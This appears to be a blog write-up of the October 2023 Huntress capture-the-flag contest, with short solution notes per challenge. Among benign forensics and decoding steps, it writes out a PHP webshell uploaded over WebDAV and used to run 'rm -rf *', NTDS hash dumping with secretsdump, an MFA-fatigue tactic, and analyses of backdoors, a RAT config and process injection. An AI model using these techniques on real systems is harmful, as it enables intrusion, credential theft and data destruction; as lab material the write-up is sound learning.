During the October 2023, I participated in the Huntress Capture the Flag contest. It started with couple of warmups challenges on the first day. Then they published two or one challenge every day. There were various categories, such as Warmups, Malware, Forensics, OSINT, Miscellaneous and Steganography. The difficulty levels differs from easy (usually very easy), medium (usually easy, but educative for new players) and hard (usually medium). Couple of “lolz” challenges have an extreme difficulty, and they were some kind of…what? Try to think like the author of the challenge. These lolz challenges have been rejected from the competition, and they were published just for the exercise.

During the competition, I solved all of the regular challenges, mostly with Linux, sometimes with Linux+Wine, sometimes online sandbox. For malware and reverse engineering, I prefer a way to do it complete statically instead of debugging. Just with disassembler, decompiler and CyberChef and Python helper scripts.

Below I would like to share my notes and write-ups for this CTF.

Day 01


  • UTF-8 file
  • flag{2dd41e3da37ef1238954d8e7f3217cd8}

Technical Support

  • Discord channel
  • flag{a98373a74abb8c5ebb8f5192e034a91c}

String Cheese

  • strings cheese.jpg | grep flag
  • flag{f4d9f0f70bf353f2ca23d81dcf7c9099}

Read The Rules

  • Source code of Rules

  • flag{90bc54705794a62015369fd8e86e557b}

Query Code

  • PNG file with QR code
  • zbarimg query_code
  • flag{3434cf5dc6a865657ea1ec1cb675ce3b}


  • reverse, rot13, base64

  • flag{af10370d485952897d5183aa09e19883}

Day 02

Book By Its Cover

  • PNG with rar extension
  • OCR in cyberchef
  • flag{f8d32a346745a6c4bf4e9504ba5308f0}


  • 1000 C# shells, same size, the only difference is the password

  • “666c6167-7b36-6365-3666-366131356464”+“64623065-6262-3333-3262-666166326230”+“62383564-317d-0000-0000-000000000000” from hex:
  • flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}

Hot Off The Press

  • uharc archive
  • old windows tool needed for unpacking (works under wine on linux)
    • wget http://ftp.elf.stuba.sk/pub/pc/pack/uharc06b.zip
    • wine uharc x -pwinfected hot_off_the_press.uha

  • gzipped base64-encoded payload (little bit obfuscated)
    • use powershell for replacing string formatting, or deobfuscate with linux/cyberchef

  • from Base64:

  • from hex:

  • flag{dbfe5f755a898ce5f2088b0892850bf7}

Day 03



  • “We saw some communication to a sketchy site… here’s an export of the network traffic. Can you track it down?”
    • grep sketchy * | head
      • -> sketchysite.github.io

  • flag{8626fe7dcd8d412a80d0b3f0e36afd4a}

Day 04


  • left column is rot13, right column reversed+rot13
    • cat caesarmirror.txt | cut -c -45 | rot13 > caesar1.txt
    • cat caesarmirror.txt | cut -c 45- | rot13 | rev > caesar2.txt
    • paste caesar1.txt caesar2.txt
     Oh boy! Wow, this warmup challenge sure 	 was a lot of fun to put together! I so   
    definitely absolutely always love trying 	 to think up new and innovative things   
       to do with the very basic, common and 	 classic CTF techniques! The first part of   
     your flag is flag{julius_ and that is a 	 great start but it is not everything   
 that you will need to solve this challenge. 	 I don't like trying to hide and    
  separate each part of the flag. The second 	 part of the flag is in_a_ but you do   
   need just a little bit more. What exactly 	 should we include here to try and make
     this filler text look more engaging and 	 worthwhile? Should we add newlines?   
    Should we add spaces and try and make it 	 symmetrical? How many lines is enough `
 to make this filler text look believable? A 	 solid square of letters within a    
 simple, monospace-font text file looks good 	 enough to me. Are we almost at the  `
   end? It looks like it! I hope it is good. 	 The third part of your flag is reflection}  
and at this point you should have everything 	 that you need to submit this flag for   
    points. The beginning is marked with the 	 flag prefix and the opening curly brace,
  and it includes English words separated by 	 underscores, to end in a closing curly  
  brace. Wow! Now THAT is a CTF! Who knew we 	 could milk the caesar cipher to this   
            extent?? Someone get that Julius 	 Caesar guy a medal!
  • flag{julius_in_a_reflection}

I Wont Let You Down

  • curl

    <header>Be sure to watch the video fully before you explore other aspects of this server (p.s. nmap is okay)!</header>
  • nmap -> port 8888 -> nc

    $ nmap
    Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-05 15:04 CEST
    Nmap scan report for (
    Host is up (0.21s latency).
    Not shown: 997 closed ports
    22/tcp   open  ssh
    80/tcp   open  http
    8888/tcp open  sun-answerbook
    $ nc 8888
    We're no strangers to love
    Never gonna give you up
    Never gonna let you down
  • flag{93671c2c38ee872508770361ace37b02}

Day 05


  • from decimal to hex, from hex to chars

  • flag{6c733ef09bc4f2a4313ff63087e25d67}

PHP Stager

  • obfuscated PHP
    • k is createfunction,
    • c is lambda function
    • fsPwhnfn8423 is base64 decoding
    • deGri is a xor-based decryption

  • patch script and echo the output:

  • webshell with lot of features

  • back_connect_ip is base64-encoded Perl script with obfuscated content

  • flag{9b5c4313d12958354be6284fcd63dd26}

Day 06

Backdoored Splunk

  • backdoored Splunk Add-on for Windows
  • hashdeep both apps, then find the differences
    • except the small differences in versions and configs
  • backdoor in Splunk_TA_windows/bin/powershell/nt6-health.ps1
  • connect to remote backdoor server and decode command:

    $ curl  -H "Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==" http://chal.ctf.games:31106 
    <!-- ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ== →
    $ echo "ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ==" |  base64 -d
    echo flag{60bb3bfaf703e0fa36730ab70e115bd7}
  • flag{60bb3bfaf703e0fa36730ab70e115bd7}

Layered Security

  • gimp image with multiple layers
  • one layer contains flag -> OCR in Cyberchef

  • flag{9a64bc4a390cb0ce31452820ee562c3f}

Day 07

Dumpster Fire

  • compressed linux filesystem
  • user “challenge” uses mozilla firefox

    $ python3 firefox_decrypt.py dumpster/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/
    2023-10-08 17:39:20,107 - WARNING - profile.ini not found in dumpster/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/
    2023-10-08 17:39:20,109 - WARNING - Continuing and assuming 'dumpster/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/' is a profile location
    Website:   http://localhost:31337
    Username: 'flag'
    Password: 'flag{35446041dc161cf5c9c325a3d28af3e3}'
  • flag{35446041dc161cf5c9c325a3d28af3e3}


  • compressed data

    $ file comprezz 
    comprezz: compress'd data 16 bits
    $ zcat comprezz
  • flag{196a71490b7b55c42bf443274f9ff42b}

Day 08

Where am I?

  • Photo, just use exiftool and base64

  • flag{b11a3f0ef4bc170ba9409c077355bba2)

Chicken Wings

  • Wingdings font encoding
  • flag{e0791ce68f718188c0378b1c0a3bdc9e}

Day 09


  • webservice with javascript popup

    curl http://chal.ctf.games:30107
    curl http://chal.ctf.games:30107/capture_the_flag.html

  • flag{03e8ba07d1584c17e69ac95c341a2569}


  • WIM archive
    • extractable with 7zip
  • lot of prefetch files
  • https://github.com/libyal/libscca for parsing in linux

  • build on alpine linux:

    apk add python3-dev automake autoconf g++ gcc gettext-dev make libtool
    git clone https://github.com/libyal/libscca.git
    cd libscca/
    ./configure --enable-python
    make install
  • prefetch parsing

    for f in tmp/*.pf; do sccainfo $f; done | grep -i flag
    Filename: 62            : \\VOLUME{01d89fa75d2a9f57-245d3454}\\USERS\\LOCAL_ADMIN\\DESKTOP\\FLAG{97F33C9783C21DF85D79D613B0B258BD}
  • FLAG{97F33C9783C21DF85D79D613B0B258BD}

Day 10


  • cookie manipulation

  • choose the Magic cookie recipe and change the time and encode to Base64
    • {"recipe": "Magic Cookies", "time": "09/11/2023, 17:39:51"}
    • eyJyZWNpcGUiOiAiTWFnaWMgQ29va2llcyIsICJ0aW1lIjogIjA5LzExLzIwMjMsIDE3OjM5OjUxIn0=
  • flag{c36fb6ebdbc2c44e6198bf4154d94ed4}


  • download code from hxxps://pastebin.com/raw/SiYGwwcz/

    $ curl https://pastebin.com/raw/SiYGwwcz
    <!-- flag{ed81d24958127a2adccfb343012cebff} -->
  • flag{ed81d24958127a2adccfb343012cebff}

Day 11

Snake Eater

  • Pyinstaller + pyarmor with python3.11
    • no success on unpacking
    • uncompyle and decompyle support up to python 3.10
    • no luck with pyarmor unpacking
  • Online sandboxes
    • no luck with hybrid analysis nor virustotal (flag not visible)
    • at least one execution on triage contains flag:
  • flag{d1343a2fc5d8427801dd1fd417f12628}

Operation Not Found

  • flag{c46b7183c9810ec4ddb31b2fdc6a914c}

Day 12

Under The Bridge


  • flag somewhere in opendir, with provided credentials
  • recursive wget and grep

    $ wget --recursive --user=opendir --password=opendir http://chal.ctf.games:31572/
    $ grep -r "flag{" ./
  • flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}

Day 13

Opposable Thumbs

  • windows thumbcache db
  • thumbcache_viewer_cmd works under wine
  • csv and html reports

    $ cat thumbs2/report_20231014_195531.csv 
    Version,Windows 10
    Offset to first cache entry (bytes),24
    Offset to available cache entry (bytes),86328
    Number of cache entries,Unknown
    Index,Offset (bytes),Cache Size (bytes),Data Size (bytes),Dimensions,Entry Hash,Data Checksum,Header Checksum,Identifier String
  • flag in file 3fa8aafdd63e1168.jpg

  • flag{human_after_all}

Land Before Time

  • flag{da1e2bf9951c9eb1c33b1d2008064fee}

Day 14

  • patch the program

  • change jnz to jz, so the player wins

    $ wine rock_paper_psychic2.exe 
    [#] Hi! I'm Patch, the Telepathic Computer Program.
    [#] Let's play Rock, Paper, Scissors!
    [#] I should warn you ahead of time, though.
    [#] As I previously mentioned, I'm telepathic. So I can read your mind.
    [#] You won't end up beating me.
    [#] Still want to play? Alright, you've been warned!
    [#] Enter your choice (rock, paper, scissors): 
    [>] rock
    [#] I've made my choice! Now let's play!
    [#] Ready?
    [#] ROCK
    [#] PAPER
    [#] SCISSORS
    [#] SHOOT!
    [#] I chose: paper
    [#] You chose: rock
    [#] You won!
    [#] Wait, how did you do that??!! Cheater! CHEATER!!!!!!
    [+] flag{35bed450ed9ac9fcb3f5f8d547873be9}
    [+] Press enter to quit [>]
  • flag{35bed450ed9ac9fcb3f5f8d547873be9}


  • just an accident with tragedy redux, the free flag is provided
  • flag{4d442c642df14a7267490da2bb63f522}

Tragedy Redux

  • Docx with macros, but the ZIP header is malformed
  • unzip can extract files
  • olevba decodes macros
    • olevba word/vbaProject.bin

  • strings partitioned to chunks of length 3, then interpreted as numbers, subtracted 17 from each number, convert back to chars
  • python reimplementation

    chunks = [ data[i:i+3] for i in range(0, len(data), 3) ]
    "".join(chr(int(c) - 17) for c in chunks)
    >>> 'powershell -enc JGZsYWc9ImZsYWd7NjNkY2M4MmMzMDE5Nzc2OGY0ZDQ1OGRhMTJmNjE4YmN9Ig=='
  • decode base64

    • $flag="flag{63dcc82c30197768f4d458da12f618bc}"
  • or, if document is caled runner.doc, it will run powershell command above:

    >>> data="131134127127118131063117128116"
    >>> chunks = [ data[i:i+3] for i in range(0, len(data), 3) ]
    >>> "".join(chr(int(c) - 17) for c in chunks)
    >>> data="136122127126120126133132075"
    >>> chunks = [ data[i:i+3] for i in range(0, len(data), 3) ]
    >>> "".join(chr(int(c) - 17) for c in chunks)
    >>> data="104122127068067112097131128116118132132"
    >>> chunks = [ data[i:i+3] for i in range(0, len(data), 3) ]
    >>> "".join(chr(int(c) - 17) for c in chunks)
  • flag{63dcc82c30197768f4d458da12f618bc}

Day 15

Rogue Inbox

  • csv with json logs
  • Debra hacked

  • export just AuditData column and investigate with jq
  • there are lot of New-InboxRule operations

  • parameters contain letters of flag
    • cat audit.json | jq -r 'select(.Operation=="New-InboxRule") | .Parameters[] | select(.Name=="Name") | .Value' | tr -d '\n
  • flag{24c4230fa7d50eef392b2c850f74b0f6}

M Three Sixty Five - General Info50 points - Miscellaneous - 291 Solves - easy

  • Get-AADIntTenantDetails | select street
  • flag{dd7bf230fde8d4836917806aff6a6b27}

M Three Sixty Five - Conditional Access50 points - Miscellaneous - 282 Solves - easy

  • Get-AADIntConditionalAccessPolicies | select displayName
  • flag{d02fd5f79caa273ea535a526562fd5f7}

M Three Sixty Five - Teams

  • Get-AADIntTeamsMessages | select Content
  • flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}

M Three Sixty Five - The President

  • Get-AADIntUsers | grep -i president
  • Get-AADIntUsers | where Title -eq 'President
  • flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}

Day 16


  • alphabet substitution and base64 in c# source code

    • cyberchef
  • decoded to .NET EXE

  • ilSpy for decoding: array with 44k byte numbers

    • ilspycmd babel.exe > babel.cs
    • grep -P "^\t\t\t\t" babel.cs | tr -d '\n\t
    • decoding in cyberchef, find the flag
  • better approach: strings on decoded .NET EXE

    • flag is clearly visible
    Strings('Single byte',8,'Alphanumeric + punctuation (A)',false,false,false)
    Regular_expression('User defined','flag\\{[0-9a-f]{32}\\}',true,true,false,false,false,false,'List matches')

  • flag{b6cfb6656ea0ac92849a06ead582456c}


  • Commodore64 revival band
    • On the Commodore 64, the user would write “LOAD” to initiate the program loading sequence. Then the Commodore 64 would respond “PRESS PLAY ON TAPE”.
  • convert wav to prg or tap

  • flag{32564872d760263d52929ce58cc40071}

Day 17

Texas Chainsaw Massacre: Tokyo Drift

  • application log
  • find some odd strings, e.g. hexadecimal strings
    • evtxexport Application\ Logs.evtx | grep -i 66

  • decode with cyberchef fromhex -> obfuscated powershell

  • partial dynamic deobfuscation of strings with powershell
    • just for sure, Set-Alias invoke-expression write-outputand avoid things such as Env:Comspec (iex) and . ()

  • replace invoke-expression with write-output and decode the payload:

  • finally, base64 decode and decompress of the payload:

  • it uses Resolve-DnsName to get a TXT record for eventlog.zip

    $ host -t txt eventlog.zip
    eventlog.zip descriptive text "U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjFubmQ5RWJzcz90PTE2IgojZmxhZ3s0MDk1MzczNDdjMmZhZTAxZWY5ODI2YzI1MDZhYzY2MH0jCg=="
  • after decoding:

    Start-Process "https://youtu.be/561nnd9Ebss?t=16"
  • flag{409537347c2fae01ef9826c2506ac660}

Indirect Payload

  • lot of redirects… follow them
    • total of 101 redirects
    • curl http://chal.ctf.games:30348/site/flag.php -L -v --max-redirs 150 2>&1 | tee curl.log
  • Last one says sorry

  • parse URLs from log
    • grep URL curl.log | cut -f 2 -d "'" > urls.txt
  • get content from the URLs
    • for url in $(cat urls.txt); do curl $url; done | tee flag.txt
  • there are characters of flag:

    $ cat flag.txt 
    character 0 of the payload is f
    character 1 of the payload is l
    character 2 of the payload is a
    character 3 of the payload is g
    character 4 of the payload is {
    character 5 of the payload is 4
    character 6 of the payload is 4
  • get the flag:

    • cat flag.txt | cut -f 7 -d ' '| tr -d '\n
  • flag{448c05ab3e3a7d68e3509eb85e87206f}

Day 18

Thumb Drive

  • lnk file with tinyurl link inside

  • tinyurl redirects to the google drive with file usb.txt
  • file usb.txt contains base32-encoded EXE file
    • cat usb.txt | base32 -d > usb.bin
  • exe file pops-up messagebox with the flag

  • it is at least one year old, it is on VirusTotal, Any.Run and Hybrid analysis

  • flag{0af2873a74cfa957ccb90cef814cfe3d}

Who is Real?

  • is person generated by AI or is it real photo?
    • the key is to choose the photo which looks more artificial ;-)

  • flag{10c0e4ed5fcc3259a1b0229264961590}

Day 19

Operation Eradication

  • ransomware story with stolen files. We want to delete them
  • config file provided for webav with “wrong” credentials

    type = webdav
    url = http://localhost/webdav
    vendor = other
    user = VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r
    pass = HOUg3Z2KV2xlQpUfj6CYLLqCspvexpRXU9v8EGBFHq543ySEoZE9YSdH7t8je5rWfBIIMS-5
  • it is config for rclone, with encrypted password

  • can be used as .config/rclone/rclone.conf

    • just replace the URL and provide the name for remote webdav
  • rclone can list and upload files, but cannot delete them - permission denied

    • rclone ls huntress:
  • same for plain curl, it seems that DELETE method is forbidden

  • webdav URL is http://chal.ctf.games:PORT/webdav

  • on the http://chal.ctf.games:PORT/ there is simple website with counter of files to be deleted

  • server is powered by Apache and PHP -> we can upload shell

    echo "<?php echo passthru($_GET['cmd']); ?>" > shell.php
    rclone copy ./shell.php  huntress:
    # OR
    curl -T shell.php  --user 'VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r:SuperExtremelySecurePasswordLikeAlways' http://chal.ctf.games:PORT/webdav/shell.php
  • password of the user can be decrypted from config

  • remove all files via webshell:

    curl  --user 'VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r:SuperExtremelySecurePasswordLikeAlways' http://chal.ctf.games:PORT/webdav/shell.php?cmd="rm%20-rf%20*"
  • get the flag

    • curl http://chal.ctf.games:PORT/

  • flag{564607375b731174f2c08c5bf16e82b4}


  • backdoored webserver
  • normal website looks like this

  • webserver binary checks for special user agent and port 443:

  • the user agent substring can be extracted with strings:

  • access with curl:

    $ curl -k --user-agent "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" https://chal.ctf.games:30397
    <!doctype html>
    <html lang=en>
    <p>You should be redirected automatically to the target URL: <a href="/93bed45b-7b70-4097-9279-98a4aef0353e/c2">/93bed45b-7b70-4097-9279-98a4aef0353e/c2</a>. If not, click the link.
    $ curl -k https: --user-agent "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" https://chal.ctf.games:30397/93bed45b-7b70-4097-9279-98a4aef0353e/c2
  • flag{3f2567475c6def39501bab2865aeba60}

Day 20

Welcome to the Park

  • task contains hint: Mach-O files
  • zip file contains hidden directory, the file is Mach-O

    $ file welcome/.hidden/welcomeToThePark
    welcome/.hidden/welcomeToThePark: Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
  • strings reveal one long base64-encoded string:

  • after decoding, there is obfuscated shell script

  • substrings of gist.github.com are clearly visible, then the full URL is constructed from the variables:

    $ A0bERh='"https://';A0bERheZXDRi='gist.githu';xbER='b.com/s';juuQ='tuartjas';juuQQ7l7X5='h/a7d18';juuQQ7l7X5yX='7c44f
    4327';juuQQ7l7X5y='739b752d037be45f01'; echo -e ${A0b}${A0bERheZ}${A0bERheZX}${A0bER}${A0bE}${A0bERh}${A0bERheZXDRi}${xb
  • on gist, there is a picture of “JohnHammond”

  • extract strings and the last string is the flag

  • flag{680b736565c76941a364775f06383466}


The easy way: report on virustotal

The hard way: reversing+cyberchef

  • decompiled with ilspy

  • in the Main, hook.exu_bot() will load assembly returned by hook.get_3() and invoke the binary returned by hook.get_4()
  • hook.get_4() will return cry.decrypters.decrypt(cry.readers.getArr(2), Convert.ToInt32(cry.readers.getStr(2)));
  • getArr() and Str() methods will return encrypted data extracted from the binary itself based on regexes:

  • decrypt function is just a xor with pass number and gunzip

  • put it all together:
    • string from binary rat
      • strings rat | grep fileArr

  • decrypt with cyberchef -> another .net exe file

  • the extracted payload is asyncrat/dcrat
  • decompile it with ilspy again
  • in Settings class, there are dcrat configuration properties

  • Key - master key for AES-256
  • MTX - mutex created by Dcrat
  • Flag - unused property, this should be the CTF flag

  • properties are base64-encoded and aes-256 encrypted messages constructed of HMACSHA256, IV and the encrypted plaintext itself

  • _key for AES-256 is derived with PBKDF2:
    • Rfc2898DeriveBytes(masterKey, Salt, 50000);
    • Salt is "DcRatByqwqdanchun"

  • CyberChef recipe with PBKDF and flag decryption:

    Comment('Format of the message:\nBase64(HMAC[32]+IV[16]+AES[])')
    Comment('Decode encrypted string from Base64 and convert it to hex, then strip first 32 bytes (HMAC)')
    Tail('Nothing (separate chars)',-64)
    Comment('Store next 16 bytes (IV) to register $R0 and strip it from the encrypted message')
    Tail('Nothing (separate chars)',-32)
    Comment('Remember the encrypted message in register $R1')
    Comment('Derive AES-256 key from the master key (provided as Base64-encoded value in AsyncRat config). Store derived key in register $R2\n\nIn C#, there was used the function Rfc2898DeriveBytes()')
    Comment('Bring back remembered encrypted message from $R1 to the pipeline and use it as input to AES Decrypt')
    Comment('Enjoy the flag ;-)')

  • flag{8b988b859588f2725f0c859104919019}

Day 21

Snake Oil

  • Python program packed in exe with Pyinstaller

The easy way

  • Available in sandboxes
  • it executes ngrok with flag as parameter authtoken

The harder way

  • unpack python modules and bytecodes from binary
    • pyinstxtractor snake-oil
  • the original code is compiled in brain-melt.pyc
    • it is Python 3.9
      • uncompyle6 nor decompyle3 don’t support python 3.9
      • decompyle++ (pycdc) supports python 3.9
    • pycdc brain-melt.pyc

  • flag is returned by deobfuscate() and used as auth_token for ngrok
  • reuse the decompiled code (just replace .0 with O in lambda)

    >>> import base64
    >>> def decrypt(s1, s2):
    ...     return ''.join((lambda O: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in O ])(zip(s1, s2)))
    >>> def deobfuscate():
    ...     part1 = '2ec7627d{galf'[::-1]
    ...     part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    ...     part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    ...     key = part1 + part2 + part3
    ...     return key
    >>> deobfuscate()
  • flag{d7267ce26203b5cc69f4bab679cc78d2}

Day 22


  • obfuscated windows batch script

  • thousands of lines, variables are assigned with “set” command or string values or chars and then used for substitution during runtime
  • it runs lot of cmd.exe with different exit codes
    • the exitcodes are converted to chars, assigned to anoother variables
  • dynamic analysis to get the mapping of variables to chars:
  • prepare mapping of chars from env.txt:
    • cat env.txt | tr -d '\r' | grep "^[a-z]*=.$" > mapping.txt
  • python program for deobfuscation of batchfuscation with mapping from mapping.txt:

    with open("batchfuscation", "r") as f:
    with open("mapping.txt", "r") as f:
        data = f.read()
    mapping = dict([item.split('=',maxsplit=1) for item in data.strip().split('\n')])
    for k in mapping.keys():
        batch = batch.replace('%'+k+'%', mapping[k])
    with open('batch', 'w') as f:
  • there are flags now:

    • grep flag batch

  • sort the flag_characters, extract the chars and put them together:

    grep flag_ch batch2  | cut -f 3 -d r | sort -n | cut -f 2 -d = | tr -d '\n'
  • flag{acad67e3d0b5bf31ac6639360db9d19a}

Day 23

Bad Memory

  • windows memoy dump (4.5GB), task is to recover the user password
  • volatility 3:

    $ vol3.py -f image.bin windows.hashdump.Hashdump
    Volatility 3 Framework 2.0.0
    Progress:  100.00       PDB scanning finished                                                                                              
    User    rid lmhash  nthash
    Administrator   500 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
    Guest   501 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
    DefaultAccount  503 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
    WDAGUtilityAccount  504 aad3b435b51404eeaad3b435b51404ee    4cff1380be22a7b2e12d22ac19e2cdc0
    congo   1001    aad3b435b51404eeaad3b435b51404ee    ab395607d3779239b83eed9906b4fb92
  • crack NT hash of congo user online

  • get the md5 for flag:

    $ echo -n "goldfish#" | md5sum
  • flag{2eb53da441962150ae7d3840444dfdde}

Day 24

Discord Snowflake Scramble

  • thanks to invite URL, it is possible to access the desired message

  • flag{bb1dcf163212c54317daa7d1d5d0ce35}

Day 25


  • blackcat decryptor and several encrypted files

  • DecrypMyFiles requires password

  • long known files (hamlet, logo, pictures)
    • probably some simple xor-cipher is used, so the KPA (known plaintaxt attack) can be successful
  • tail of hamlet:

  • repetitive pattern of “COSMOBOI” - potential password

  • first try with cyberchef to xor flag.txt.encry with “COSMOBOI” key

  • kEEPING => upper/lowercase swapped
  • try key “cosmoboi”

  • flag{092744b55420033c5eb9d609eac5e823}

Day 26


  • Provided NTDS.dit with SYSTEM registry hive
  • dump hashes from NTDS.dit with impacket:
    • secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

  • so, the valid credentials are:
    • huntressctf\JILLIAN_DOTSON:katlyn99
  • now, we need to bypass MFA

  • MFAtigue = MFA Fatigue => just send lot of notifications

  • flag{9b896a677de35d7dfa715a05c25ef89e}

Day 27


  • provide the feedback and got the flag
  • flag{we_hope_you_enjoyed_the_game}

Crab Rave

  • lnk + dll files provided
  • lnk calls DLLMain method from the ntcheckos.dll. Visible in strings:

  • easier and harder versions differ in stripped debug symbols from ntcheckos.dll
    • easier: there are visible functions names and class methods
    • harder: no function names

ntcheckos.dll reverse engineering

  • rust binary with two exported functions, DLLMain and NtCheckOSArchitecture

  • the first one (DLLMain) just call the second one (NtCheckOSArchitecture)
  • NtCheckOSArchitecture
    • starts with decrypting of something, probably some strings:

  • ends (before rust deallocations) with another decryption and call to crab_rave::inject_flag

  • now lets focus on decryption routine

  • crab_rave::litcrypt_internal::decrypt_bytes

    • parameters:
      • register r8 -number, probably a length of the encrypted data
      • register r9 - string, “-rr5-rr5-rr5…”. Always same for each call to this decryption routine. Maybe the key?
      • register rcx - buffer for decrypted data
      • register rdx - randomly looking bytes, most probably encrypted data
    • inside of the function:
      • SSE instructions with xmm registers
      • loop with xor

  • decrypting
    • just try CyberChef with XOR
      • We already know that the result should be URL (starting with http) => we can try to xor the encrypted data with the expected result (http:, https:) to see what will hapen
        • if the cipher is the xor only, we will see the key
        • yes, the key starts with “-rr5” => the abovementioned string “-rr5-rr5-rr5…” is really the xor key
    • decrypted URL from data:

  • then, it is decrypted with AES-256

  • AES decryption
    • AES cryptosystem is initialized by call to libaes::Cipher::new_256(key)
    • then, there is a call to libaes::Cipher::cbc_decrypt(iv, &encrypted_data) - see example
      • it seems that initialization vector (iv) passed in register r8 is the same as the key
      • cipher mode is CBC
    • lets verify with the CyberChef

  • we got the flag :-)
  • more notes about the inject_flag:
    • it manipulates with the processes, it would like to write something to the memory of some process, and then it creates remote thread in that process
    • there is a string notepad.exe in the other xored strings decrypted with crab_rave::litcrypt_internal::decrypt_bytes
    • another strings are m.yeomans30801 and WIN-DEV-1
      • there are also checks for username and hostname
    • it seems that if username and hostname match the strings above, the decrypted flag will be injected to the notepad.exe if the notepad process is running
      • if not, the crab will sleep and then it will try again
  • flag{225215e04306f6a3c1a59400b054b0df}

Day 28

Snake Eater II

  • obfuscated with pyarmor. Let’s continue with dynamic analysis

  • in pyarmor_runtime_000000 directory there is pyarmor_runtime.pyd file

    • it is windows DLL
    • for make it compatible with linux, install pyarmor for linux
      • pip install pyarmor
    • create simple hello world program in python and obfuscate it with pyarmor
      • this will generate linux runtime files, too
      • pyarmor gen hello.py
    • replace decompiled pyarmor_runtime_000000 (windows version) with the generated pyarmor_runtime_000000 (linux version) from dist directory
  • for running in docker container, enable PTRACE capability

    • docker run --rm -it --cap-add=SYS_PTRACE ...
  • install python 3.11 (available in alpine:3.18), run python interpreter in the directory with the extracted snake_eater.pyc

    • import snake_eater, and pyarmor will be unpacked in the memory - see help(snake_eater)

  • now, run the snake_eater.main() method
    • it will throw an error about NoneType. Ignore it and just send the python interpreter to the background

  • generate core dump (23 is pid of python) and grep the flag from memory

    # gcore 23
    # strings core.23 | grep flag{
  • flag{be47387ab77251ecf80db1b6725dd7ac}

Day 29

BlackCat II

  • more OSInt, less malware
  • files are encrypted with AES in CFB mode with hardcoded initialization vector
    • there is a possiblitity to attack a cryptosystem, if all the files are encrypted with the same key
  • well, the key is different for each file
    • for the first file, it is provided by user as decryptionKey variable
    • for each next file, the key determined as sha256 sum of the content of the previously decrypted file
      • the check of text==null:
        • text variable holds the path of last decrypted file
          • If it is null, the decryptionKey is used as a key
          • otherwise the sha256 of the decrypted file is used as a key

  • we need ti find original unencrypted file and compute its hash.
    • then we can use it as a decryption key for the next file, which will be used as a decryption key to another file, etc.

  • the malware challenge is actually OSint challenge
    • but i do not have luck with finding the right website, from where the images have been downloaded

  • several hours later….
  • the correct URL is on shopify
  • BUT…
    • the downloaded content depends on your browser
      • wget and chrome-based browsers downloaded a jpg file with size of 96 kB
      • firefox downloaded webp file with size of 83 kB - the correct one
        • SHA256: 2708d374d92c8691a333fa0e8638c3588de35e91a7628621a6f114301c4fdbbd
  • Lets copy flag.txt.encry to the other directory and run the Decryptor.exe

  • open flag.txt.decry in notepad and enjoy the flag:

  • flag{03365961aa6aca589b59c683eecc9659}

Lolz challenges


  • 籖ꍨ穉鵨杤𒅆象𓍆穉鵨詌ꍸ穌橊救硖穤歊晑硒敤睊ꉑ硊ꉤ晊ꉑ硆詤橆赑硤ꉑ穊赑硤詥楊ꉑ睖ꉥ橊赑睤ꉥ杊𐙑硬ꉒ橆𐙑硨穒祊ꉑ硖詤桊赑硤詥晊晑牙
  • base65536 + base64
  • “base52” coding with characters A-Za-z only
  • python decoder:

    import string
    ascii=string.ascii_uppercase + string.ascii_lowercase
    mapping = dict([(ascii[i], i) for i in range(len(ascii))])
    "".join(chr(mapping[data[2*i]]*52+mapping[data[2*i+1]]) for i in range(int(len(data)/2)))
  • flag{d45cb4b20570fe83f03cf92e768bd0fb}


  • wav file
  • steganography:
  • translated from Filipino to English:
    • Show Rick some love
  • recall older challenge with Rick (I want let you down) and GET some love from Rick
    • wgethttp://
    • it is PNG picture
  • steganography again
  • use tool stegoveritas mentioned in CTF-Katana

  • flag{8db1e72d1c96f33c99b9f0eb92f09c7b}